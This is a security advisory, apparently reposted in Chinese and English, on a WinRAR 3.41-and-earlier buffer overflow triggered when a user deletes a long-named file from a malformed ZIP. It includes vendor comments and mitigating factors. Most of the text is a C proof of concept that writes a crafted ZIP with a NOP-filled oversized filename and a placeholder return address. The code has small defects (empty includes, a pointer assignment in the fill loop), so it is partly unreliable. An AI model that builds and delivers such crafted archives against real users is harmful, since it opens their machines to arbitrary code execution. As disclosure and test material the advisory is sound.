WinRAR"是种强有力的档案文件。 他可以备份数据库,减少电子邮件附件大小,使rar,zip
可以从其他文件那里下载并且创造以rar压缩文件为形式的新档案类型.
漏洞出在WinRAR内长文件名允许一个远程攻击者, 或许可以说服一个用户从malformed 邮编包删除某种文件,
以便引起WinRAR程序执行任意的代码
下列代码可以用来测试你的系统
WinRAR 3.41 版本以及更早版本
WinRAR 把文件名截短成1023字节并且溢出的缓存为500字节。所以利用代码被限制在0.5K以下。这个足够删除一些东西,
但似乎没办法删除传统的木马和病毒。
并且在文件名之前缓存中包含着"你是否确定删除"这个字符串。这个字符串的长度在不同的语言的版本是不同的。
所以为英文版写的利用代码将无法在其他的语言版本上应用。比如法文版或捷克语版本。
我们最近得到这个关于rar的删除缓冲溢出报告是从Dark Eagle那里,并且推迟泄露直到他 的下个版本发布.
在1-2个月内或者更或许甚至更快.请现在不要透露关于这个缺陷的信息.
代码略,见后面英文原文.
Summary
WinRAR is "a powerful archive manager. It can backup your data and reduce size of email attachments, decompress RAR, ZIP and other files downloaded from Internet and create new archives in RAR and ZIP file format".
A vulnerability in the way WinRAR handles long filenames allows a remote attacker that is able to convince a user to try and delete a certain file from a malformed ZIP package, to cause the WinRAR program to execute arbitrary code. The following exploit code can be used to test your system for the mentioned vulnerability.
Details
Vulnerable Systems:
* WinRAR version 3.41 and prior
Mitigating factors:
WinRAR truncates the file name to 1023 bytes and overflowed buffer size is 500 bytes, so maximum size of exploit code is limited to ~0.5KB. Enough to delete something, but seems to be not enough for typical Trojan or virus. Also this buffer contains "Are you sure you want to delete" string before the file name and length of this string differs in different WinRAR translations. So exploit created for English WinRAR will not work in other versions like French or Czech.
Vendor response:
We recently received the report about this WinRAR delete buffer overflow from Dark Eagle and agreed with him about delaying the disclosure until next WinRAR version, which we are going to release soon enough, in 1 - 2 months or maybe even sooner. Please do not disclose the information about this bug now, before Dark Eagle, who was first to find it.
Exploit:
/*
WinRAR 3.40 Buffer Overflow POC
Thanks to Miguel Tarasco Acuna. He has made a wonderful code for
Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)
which I edited and made this code by.
Coded by Vafa Khoshaein - vkhoshain@hotmail.com
Vulnerability discovery date : December 10, 2004
Run this code and creat vulnerable_zip.zip then open the file in WinRAR 3.40
there exists a file, Try to delete the file - SECU
*/
#include
#include
#pragma pack(1)
#define DATOS "vkhoshain@hotmail.com"
typedef struct {
DWORD Signature;
WORD VersionNeeded;
WORD GeneralPurposeFlag;
WORD CompressionMethod;
WORD ModFileTime;
WORD ModFileDate;
DWORD Crc32;
DWORD CompressedSize;
DWORD UncompressedSize;
WORD FilenameLength;
WORD ExtraFieldLength;
}TOPHEADER;
typedef struct {
DWORD Signature;
WORD MadeVersion;
WORD VersionNeeded;
WORD GeneralPurposeFlag;
WORD CompressionMethod;
WORD ModFileTime;
WORD ModFileDate;
DWORD Crc32;
DWORD CompressedSize;
DWORD UncompressedSize;
WORD FilenameLength;
WORD ExtraFieldLength;
WORD FileCommentLength;
WORD DiskNumberStart;
WORD InternalFileAttributes;
DWORD ExternalFileAttributes;
DWORD RelativeOffsetOfLocalHeader;
}MIDDLEHEADER;
typedef struct {
DWORD Signature;
WORD NumOfThisDisk;
WORD NumDisckStartCentralDirectory;
WORD NumEntriesCentralDirOnThisDisk;
WORD TotalNumEntriesCentralDir;
DWORD SizeCentralDirectory;
DWORD OffsetCentraDirRespectStartDiskNum;
WORD ZipCommentLength;
}BOTTOMHEADER;
int main(int argc,char *argv[]) {
FILE *ZipFile;
TOPHEADER *Cabecera1;
MIDDLEHEADER *Cabecera2;
BOTTOMHEADER *Cabecera3;
DWORD c;
UINT i;
char *filename;
char *url;
printf("\nWinRAR 3.40 Buffer Overflow POC\n");
printf("\nCoded by Vafa Khoshaein (vkhoshain@hotmail.com)\n");
if (!(ZipFile=fopen("vulnerable_zip.zip","w+b"))) {
printf("\nError in creating vulnerable_zip.zip\n");
exit(1);
}
c=30800;
filename=(char*)malloc(sizeof(char)*c);
memset(filename,0,sizeof(filename));
for( i=0;i<30800;i++) filename=0x90;
// Return Address
memcpy(&filename[479],"AAAA",4); /////////// Ret Addr EIP 0x41414141
Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));
Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));
Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));
memset(Cabecera1,0,sizeof(TOPHEADER));
memset(Cabecera2,0,sizeof(MIDDLEHEADER));
memset(Cabecera3,0,sizeof(BOTTOMHEADER));
Cabecera1->Signature=0x00000050; // DWORD
Cabecera1->VersionNeeded=0x000A; // WORD
Cabecera1->GeneralPurposeFlag=0x0002; // WORD
Cabecera1->CompressionMethod=0x0000; // WORD
Cabecera1->ModFileTime=0x1362; // WORD
Cabecera1->ModFileDate=0x3154; // WORD
Cabecera1->Crc32=0x85B36639; // DWORD
Cabecera1->CompressedSize=0x00000015; // DWORD
Cabecera1->UncompressedSize=0x00000015; // DWORD
Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400
Cabecera1->ExtraFieldLength=0x0000; // WORD
Cabecera2->Signature=0x02014B50; // DWORD
Cabecera2->MadeVersion=0x0014; // WORD
Cabecera2->VersionNeeded=0x000A; // WORD
Cabecera2->GeneralPurposeFlag=0x0002; // WORD
Cabecera2->CompressionMethod=0x0000; // WORD
Cabecera2->ModFileTime=0x1362; // WORD
Cabecera2->ModFileDate=0x3154; // WORD
Cabecera2->Crc32=0x85B36639; // DWORD
Cabecera2->CompressedSize=0x00000015; // DWORD
Cabecera2->UncompressedSize=0x00000015; // DWORD
Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
Cabecera2->ExtraFieldLength=0x0000; // WORD
Cabecera2->FileCommentLength=0x0000; // WORD
Cabecera2->DiskNumberStart=0x0000; // WORD
Cabecera2->InternalFileAttributes=0x0001; // WORD
Cabecera2->ExternalFileAttributes=0x00000020; // DWORD
Cabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD
Cabecera3->Signature=0x06054B50; // DWORD
Cabecera3->NumOfThisDisk=0x0000; // WORD
Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD
Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001;
Cabecera3->TotalNumEntriesCentralDir=0x0001;
Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c;
Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c;
Cabecera3->ZipCommentLength=0x0000;
fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);
fwrite(filename, c, 1,ZipFile);
fwrite(DATOS,strlen(DATOS),1,ZipFile);
fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);
fwrite(filename, c, 1,ZipFile);
fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);
fclose(ZipFile);
printf("\nvulnerable_zip.zip has been created\n\n");
return 1;
}